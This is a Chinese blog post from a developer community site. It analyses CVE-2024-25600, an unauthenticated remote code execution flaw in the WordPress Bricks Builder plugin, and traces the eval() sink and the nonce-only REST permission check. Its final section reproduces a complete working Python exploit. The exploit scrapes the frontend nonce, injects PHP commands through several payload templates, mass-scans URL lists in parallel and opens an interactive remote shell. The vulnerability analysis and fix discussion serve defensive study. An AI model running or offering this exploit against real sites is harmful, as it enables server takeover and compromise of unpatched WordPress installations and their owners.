前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >WordPress未经身份验证的远程代码执行CVE-2024-25600漏洞分析

WordPress未经身份验证的远程代码执行CVE-2024-25600漏洞分析

原创
作者头像
李鹏华
发布于 2024-03-14 10:57:30
发布于 2024-03-14 10:57:30
1.8K00
代码可运行
举报
文章被收录于专栏:网络信息安全网络信息安全
运行总次数:0
代码可运行

WordPress未经身份验证的远程代码执行CVE-2024-25600漏洞分析

Bricks <= 1.9.6 容易受到未经身份验证的远程代码执行 (RCE) 的攻击,这意味着任何人都可以运行任意命令并接管站点/服务器

受影响插件:Bricks Builder

漏洞存在版本:<=1.9.6

补丁版本:1.9.6.1

一、分析

Bricks\Query类用于管理WordPress POST请求后的显示

它包含以下脆弱方法

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public static function prepare_query_vars_from_settings( $settings = [], $fallback_element_id = '' )
{
    // CUT OUT FOR CLARITY
    
$execute_user_code = function () use ( $php_query_raw ) {
    $user_result = null; // Initialize a variable to capture the result of user code
    
    // Capture user code output using output buffering
    ob_start();
    $user_result = eval( $php_query_raw ); // Execute the user code
    ob_get_clean(); // Get the captured output
    
    return $user_result; // Return the user code result
};

// CUT OUT FOR CLARITY
}

其中$user_result = eval( $php_query_raw );是关键,$php_query_raw被传递至eval函数,这是非常危险的。

为了利用这一点,我们需要找到一种方法,让 Bricks 使用用户控制的 $php_query_raw 输入来调用上述代码。

prepare_query_vars_from_settings方法始终在类的构造函数中调用Bricks\Query

这个类在许多地方被使用和实例化。

检查每一个调用的方法不合理,但可以关注Bricks\Ajax::render_element($element)

Bricks使用它来显示编辑器的预览 大致内容如下我删除了一些不相关的内容

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$loop_element = ! empty( $element['loopElement'] ) ? $element['loopElement'] : false;
$element      = $element['element'];

if ( ! empty( $loop_element ) ) {
    $query = new Query( $loop_element );
// CUT FOR BREVITY
}

$element_name       = ! empty( $element['name'] ) ? $element['name'] : '';
$element_class_name = isset( Elements::$elements[ $element_name ]['class'] ) ? Elements::$elements[ $element_name ]['class'] : false;

if ( class_exists( $element_class_name ) ) {
    $element_instance = new $element_class_name( $element );
} 

该方法使用提供的参数创建一个新的 Query 实例,或者直接在第 5 行创建一个 Query 类。

也可以在第 14 行创建/渲染任何 Brick 的构建器元素,方法是省略“ loopElement ”参数并传递没有 .php 文件的元素的“名称”。

许多这些元素类也会在下游调用 new Query() 。还有一个代码元素可用于此漏洞利用,但在本文中,我们将重点关注第 5 行中的代码路径。

该方法可通过 admin-ajax.php 端点和 WordPress Rest API 调用。

此外,还包含以下权限检查逻辑

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
if ( bricks_is_ajax_call() && isset( $_POST ) ) {
    self::verify_request();
}

elseif ( bricks_is_rest_call() ) {
    // REST API (Permissions checked in the API->render_element_permissions_check())
}

Ajax::verify_request()将检查当前用户是否有权访问 Bricks 构建器(os:这也不太行,因为低权限用户也可能有访问权限

但是,如果通过 REST API 调用此方法,Ajax::verify_request()则不会调用。

代码注释:

REST API(在 API->render_element_permissions_check() 中检查权限)

表示此检查是否在 WP 的 REST API 的权限回调中执行。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
// Server-side render (SSR) for builder elements via window.fetch API requests
        register_rest_route(
            self::API_NAMESPACE,
            'render_element',
            [
                'methods'             => 'POST',
                'callback'            => [ $this, 'render_element' ],
                'permission_callback' => [ $this, 'render_element_permissions_check' ],
            ]
        ); 

但是,检查render_element_permission_check方法,我们可以看到没有执行权限检查。

该方法仅检查请求是否包含有效的随机数,并且 WordPress 文档明确指出“永远不应依赖随机数进行授权”:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public function render_element_permissions_check( $request ) {
    $data = $request->get_json_params();
    
    if ( empty( $data['postId'] ) || empty( $data['element'] ) || empty( $data['nonce'] ) ) {
        return new \WP_Error( 'bricks_api_missing', __( 'Missing parameters' ), [ 'status' => 400 ] );
    }
    
    $result = wp_verify_nonce( $data['nonce'], 'bricks-nonce' );
    
    if ( ! $result ) {
        return new \WP_Error( 'rest_cookie_invalid_nonce', __( 'Cookie check failed' ), [ 'status' => 403 ] );
    }
    
    return true;
} 

因此,唯一剩下的先决条件是通过“bricks-nonce”操作获得有效的随机数。

即使用户未经过身份验证,Bricks 也会为前端中的每个请求输出有效的随机数。这可以在下面网站主页呈现的 HTML 中看到。

有一个脚本标记,其中包含一个“ bricksData”对象,该对象除其他外还包含一个有效的随机数。

二、修复

快速修复很复杂,因为eval的用户输入的功能被利用到后端的多个部分

当然,快速修复的方法是向 REST API 端点添加正确的权限检查。但这仍然留下了危险的功能,并且很可能通过其他方式调用它。

原则上任何人都不应该将任何内容传递到eval.

至少,Bricks 使用的代码库中的两个实例eval(查询类和代码块类)应该完全防范未经授权的、非管理员访问,并且输入必须经过严格验证。

解决方案是将签名与要使用 wp_hash() 评估的代码一起存储。这样,在运行时,可以确保没有人能够将代码注入数据库

三、EXP

github上一位师傅提供的,也是我在本地复现时使用的,交互shell

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
import re
import warnings
import argparse
import requests

from rich.console import Console
from alive_progress import alive_bar
from prompt_toolkit import PromptSession, HTML
from prompt_toolkit.history import InMemoryHistory
from bs4 import BeautifulSoup, MarkupResemblesLocatorWarning
from concurrent.futures import ThreadPoolExecutor, as_completed


warnings.filterwarnings("ignore", category=MarkupResemblesLocatorWarning, module="bs4")
warnings.filterwarnings(
    "ignore", category=requests.packages.urllib3.exceptions.InsecureRequestWarning
)


class Code:
    def __init__(self, url, payload_type, only_rce=False, verbose=True, pretty=False):
        self.url = url
        self.pretty = pretty
        self.verbose = verbose
        self.console = Console()
        self.only_rce = only_rce
        self.nonce = self.fetch_nonce()
        self.payload_type = payload_type

    def fetch_nonce(self):
        try:
            response = requests.get(self.url, verify=False, timeout=20)
            response.raise_for_status()
            soup = BeautifulSoup(response.text, "html.parser")
            script_tag = soup.find("script", id="bricks-scripts-js-extra")
            if script_tag:
                match = re.search(r'"nonce":"([a-f0-9]+)"', script_tag.string)
                if match:
                    return match.group(1)
        except Exception:
            pass

    def send_request(self, postId="1", command="whoami"):
        headers = {"Content-Type": "application/json"}
        payload_command = f'throw new Exception(`{command}` . "END");'

        base_element = {
            "postId": postId,
            "nonce": self.nonce,
        }

        query_settings = {
            "useQueryEditor": True,
            "queryEditor": payload_command,
        }

        payload_templates = {
            "carousel": {
                **base_element,
                "element": {
                    "name": "carousel",
                    "settings": {"type": "posts", "query": query_settings},
                },
            },
            "container": {
                **base_element,
                "element": {
                    "name": "container",
                    "settings": {"hasLoop": "true", "query": query_settings},
                },
            },
            "generic": {
                **base_element,
                "element": "1",
                "loopElement": {
                    "settings": {"query": query_settings},
                },
            },
            "code": {
                **base_element,
                "element": {
                    "name": "code",
                    "settings": {
                        "executeCode": "true",
                        "code": f"<?php {payload_command} ?>",
                    },
                },
            },
        }

        json_data = payload_templates.get(self.payload_type)
        if self.pretty:
            endpoint = f"{self.url}/wp-json/bricks/v1/render_element"
        else:
            endpoint = f"{self.url}/?rest_route=/bricks/v1/render_element"

        req = requests.post(
            endpoint,
            headers=headers,
            json=json_data,
            verify=False,
            timeout=20,
        )
        return req

    def process_response(self, response):
        if response and response.status_code == 200:
            try:
                json_response = response.json()
                html_content = json_response.get("data", {}).get("html", None)
            except ValueError:
                html_content = response.text

            if html_content:
                match = re.search(r"Exception: (.*?)END", html_content, re.DOTALL)
                if match:
                    extracted_text = match.group(1).strip()
                    if extracted_text == "":
                        return True, html_content, False
                    else:
                        return True, extracted_text, True
                else:
                    return True, html_content, False
        return False, None, False

    def interactive_shell(self):
        session = PromptSession(history=InMemoryHistory())
        self.custom_print("Shell is ready, please type your commands UwU", "!")

        while True:
            try:
                cmd = session.prompt(HTML("<ansired><b># </b></ansired>"))
                match cmd.lower():
                    case "exit":
                        break
                    case "clear":
                        self.console.clear()
                    case _:
                        response = self.send_request(command=cmd)
                        (
                            is_vuln,
                            response_content,
                            regex_success,
                        ) = self.process_response(response)
                        if is_vuln and regex_success:
                            print(response_content, "\n")
                        else:
                            self.custom_print(
                                "No valid response received or target not vulnerable.",
                                "-",
                            )

            except KeyboardInterrupt:
                break

    def check_vulnerability(self):
        try:
            response = self.send_request()
            is_vuln, content, regex_success = self.process_response(response)

            if is_vuln:
                if regex_success:
                    self.custom_print(
                        f"{self.url} is vulnerable to CVE-2024-25600. Command output: {content}",
                        "+",
                    )
                else:
                    self.custom_print(
                        f"{self.url} is vulnerable to CVE-2024-25600 with successful auth bypass, but RCE was not achieved.",
                        "!",
                    ) if not self.only_rce else None
                return True, content, regex_success
            else:
                self.custom_print(
                    f"{self.url} is not vulnerable to CVE-2024-25600.", "-"
                ) if self.verbose else None
                return False, None, False
        except Exception as e:
            self.custom_print(
                f"Error checking vulnerability: {e}", "-"
            ) if self.verbose else None
            return False, None, False

    def custom_print(self, message: str, header: str) -> None:
        header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
        self.console.print(
            f"[bold {header_colors.get(header, 'white')}][{header}][/bold {header_colors.get(header, 'white')}] {message}"
        )


def scan_url(url, payload_type, output_file=None, only_rce=False, pretty=False):
    code_instance = Code(
        url, payload_type=payload_type, only_rce=only_rce, verbose=False, pretty=pretty
    )
    if code_instance.nonce:
        is_vuln, html_content, is_rce_success = code_instance.check_vulnerability()
        if is_vuln and (not only_rce or is_rce_success):
            if output_file:
                with open(output_file, "a") as file:
                    file.write(f"{url}\n")
            return True
    return False


def main():
    parser = argparse.ArgumentParser(
        description="Check for CVE-2024-25600 vulnerability"
    )
    parser.add_argument(
        "--url", "-u", help="URL to fetch nonce from and check vulnerability"
    )
    parser.add_argument(
        "--list",
        "-l",
        help="Path to a file containing a list of URLs to check for vulnerability",
        default=None,
    )
    parser.add_argument(
        "--output",
        "-o",
        help="File to write vulnerable URLs to",
        default=None,
    )

    parser.add_argument(
        "--payload-type",
        "-p",
        choices=["carousel", "container", "generic", "code"],
        default="code",
        help="Type of payload to send (generic, code, carousel or container)",
    )
    parser.add_argument(
        "--only-rce",
        action="store_true",
        help="Only display and record URLs where RCE is confirmed",
    )
    parser.add_argument(
        "--pretty",
        action="store_true",
        help="Use pretty URLs (e.g., /wp-json/...) for requests",
    )

    args = parser.parse_args()

    if args.list:
        urls = []
        with open(args.list, "r") as file:
            urls = [line.strip() for line in file.readlines()]

        with alive_bar(len(urls), enrich_print=False) as bar:
            with ThreadPoolExecutor(max_workers=100) as executor:
                future_to_url = {
                    executor.submit(
                        scan_url,
                        url,
                        args.payload_type,
                        args.output,
                        args.only_rce,
                        args.pretty,
                    ): url
                    for url in urls
                }
                for future in as_completed(future_to_url):
                    future_to_url[future]
                    try:
                        future.result()
                    except Exception:
                        pass
                    finally:
                        bar()

    elif args.url:
        code_instance = Code(args.url, args.payload_type, pretty=args.pretty)
        if code_instance.nonce:
            code_instance.custom_print(f"Nonce found: {code_instance.nonce}", "*")
            is_vuln, html_content, is_rce_success = code_instance.check_vulnerability()
            if is_vuln and is_rce_success:
                code_instance.interactive_shell()
            elif is_vuln and not args.only_rce:
                code_instance.custom_print(f"Debug:\n{html_content}", "!")
            else:
                code_instance.custom_print(f"No vulnerability found.", "-")
        else:
            code_instance.custom_print("Nonce not found.", "-")
    else:
        parser.print_help()


if __name__ == "__main__":
    main()

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
安静100分钟理解js面向对象
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> </body> </html> <script> window.onload=function(){ //安静100分钟来理清js对象,以及类的生成 //深入理解对象原型与constructor //1----------------------------------------- //定义一个对象 function
前朝楚水
2018/04/02
7520
面试官想要的 JS 基本类型
面试的时候我们经常会被问答js的数据类型。大部分情况我们会这样回答包括: 基本类型(值类型或者原始类型): Number、Boolean、String、NULL、Undefined以及ES6的Symb
grain先森
2019/04/17
5920
面试官想要的 JS 基本类型
引用类型、对象拷贝
1.引用类型有哪些?非引用类型有哪些 引用类型 引用类型(对象、数组、函数、正则): 指的是那些保存在堆内存中的对象,变量中保存的实际上只是一个指针,这个指针指向内存中的另一个位置,由该位置保存对象。 非引用类型(基本类型) 基本类型值(数值、布尔值、null和undefined): 指的是保存在栈内存中的简单数据段; 2.代码练习 (1)如下代码输出什么?为什么 var obj1 = {a:1, b:2}; var obj2 = {a:1, b:2}; console.log(obj1 == ob
小胖
2018/06/27
8010
一文带你解读​JavaScript中的变量、作用域和内存问题
基本数据类型:undefined;null;number;boolean;string;按照值访问的,可以操作保存在变量中的实际的值;
前端皮皮
2021/11/02
6190
一文带你解读​JavaScript中的变量、作用域和内存问题
前端学习(26)~js学习(四):基本数据类型vs引用数据类型
上面的代码中:a 和 b 都是基本数据类型,让 b 等于 a,然后改变 a 的值之后,发现 b 的值并没有被改变。
Vincent-yuan
2020/03/18
5200
js中的值类型和引用类型的区别
(1)值类型(基本类型):字符串(string)、数值(number)、布尔值(boolean)、undefined、null (这5种基本数据类型是按值访问的,因为可以操作保存在变量中的实际的值)(ECMAScript 2016新增了一种基本数据类型:symbol es6.ruanyifeng.com/#docs/symbo… )
前端老鸟
2019/10/09
3.8K0
js中的值类型和引用类型的区别
赋值、浅拷贝、深拷贝的区别
基本类型数据保存在在栈内存中 引用类型数据保存在堆内存中,引用数据类型的变量是一个指向堆内存中实际对象的引用,存在栈中。
木子星兮
2020/07/16
1.2K0
JavaScript 对象赋值和浅拷贝的区别
先看赋值,将一个对象赋值给一个新的对象的时候,赋的其实是该对象在栈中的地址,而不是堆中的数据。也就是一个对象的改变就会改变另外一个对象。
GopalFeng
2020/09/24
1.1K0
JavaScript 对象赋值和浅拷贝的区别
JavaScript的变量及作用域(清晰版)
JS是一门弱类型(松散型)的语言,这也就是说其天生就与众不同,独领风骚! 在讲解变量作用域之前,我们先来了解一下JS中的变量。JS中的变量与其它语言有很大的不同,由于JS变量拥有松散(不强制)的本质,从而决定了其只是一个在特定阶段保持特定类型值的名字。
用户1272076
2019/03/26
5610
Swift讲解专题十——类与结构体 原
        Swift中的类与结构体十分相似,和Objective-C不同的是,Swift中的结构体不仅可以定义属性,也可以像类一样为其定义方法。
珲少
2018/08/15
4060
Web前端学习 第3章 JavaScript基础教程19 原始类型
原始类型赋值给变量,遍历存储的是这个值本身,而你用类型赋值给变量,变量存储的是一个引用,这个引用会指向内存中的这个对象。
学习猿地
2020/06/17
3780
Js基础---红宝书读书日记(1)-------基本类型和引用类型
JS的变量可能包含两种不同数据类型的值,基本类型和引用类型; 基本类型是指简单的数据段,引用类型是指可能由多个值构成的对象; JS高级程序设计第三章介绍了变量分为 5种简单数据类型(string/number/undefined/null/boolean)--------基本类型(按值访问): 这五种数据类型是按值访问的,可以操作保存在变量中的实际的值. 1个复杂数据类型(object)--------引用类型(按索引访问): 引用类型的值是保存在内存中的对象;js不予许直接访问内存中的位置,也就是说不能直
李文杨
2018/03/27
8610
Js基础---红宝书读书日记(1)-------基本类型和引用类型
从JS底层理解var、let、const
基本数据类型是按值访问的,因为可以操作保存在变量中的实际的值。引用数据类型的值是保存在内存中的对象,JS不允许直接访问内存中的位置,所以在操作的时候操作的是对象的引用;因此是引用数据类型是按照引用访问的。
木子星兮
2020/07/16
2.1K0
【react】利用shouldComponentUpdate钩子函数优化react性能以及引入immutable库的必要性
根据文章内容总结的摘要
啦啦啦321
2018/01/03
1.5K0
【react】利用shouldComponentUpdate钩子函数优化react性能以及引入immutable库的必要性
js 判断循环引用
利用JSON.stringify的报错信息来做 var obj1 = {a:"1"}; obj1.b = {}; obj1.b.a = obj1.b; var obj2 = {a: {c: "1"}}; obj2.a.b = obj2; var obj3 = {a: 1, b: 2, c: {d: 4}, d: {}, e: {}} var obj1 = {a:"1"}; obj1.b = {}; obj1.b.a = obj1.b; obj1.b.b = obj1.b; var obj1 = {a:"
windseek
2020/05/18
20.5K0
JavaScript 数据结构与算法之美 - 栈内存与堆内存 、浅拷贝与深拷贝
栈内存与堆内存 、浅拷贝与深拷贝,可以说是前端程序员的内功,要知其然,知其所以然。
夜尽天明
2019/07/10
6790
JavaScript 数据结构与算法之美 - 栈内存与堆内存 、浅拷贝与深拷贝
javascript 拷贝赋值
在JavaScript编程中,经常会涉及到对象赋值和拷贝的操作。这里我们将深入探讨JavaScript中的对象赋值和拷贝相关的知识,帮助开发者更好地理解和使用对象的赋值操作。
大盘鸡拌面
2024/04/27
1810
JS 深拷贝与浅拷贝
其实在工作写代码和面试中,会经常碰到这两个概念:深拷贝,浅拷贝。但今天的重点是深拷贝。
Umbrella1024
2021/02/18
2.2K0
JavaScript中基本数据类型和引用数据类型的区别
  当我们把变量赋值给一个变量时,解析器首先要确认的就是这个值是基本类型值还是引用类型值。
江一铭
2022/06/17
6410
JavaScript中基本数据类型和引用数据类型的区别
前端学习(32)~js学习(九):对象简介和对象的基本操作
对象的作用是:封装信息。比如Student类里可以封装学生的姓名、年龄、成绩等。
Vincent-yuan
2020/03/18
6670
相关推荐
安静100分钟理解js面向对象
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验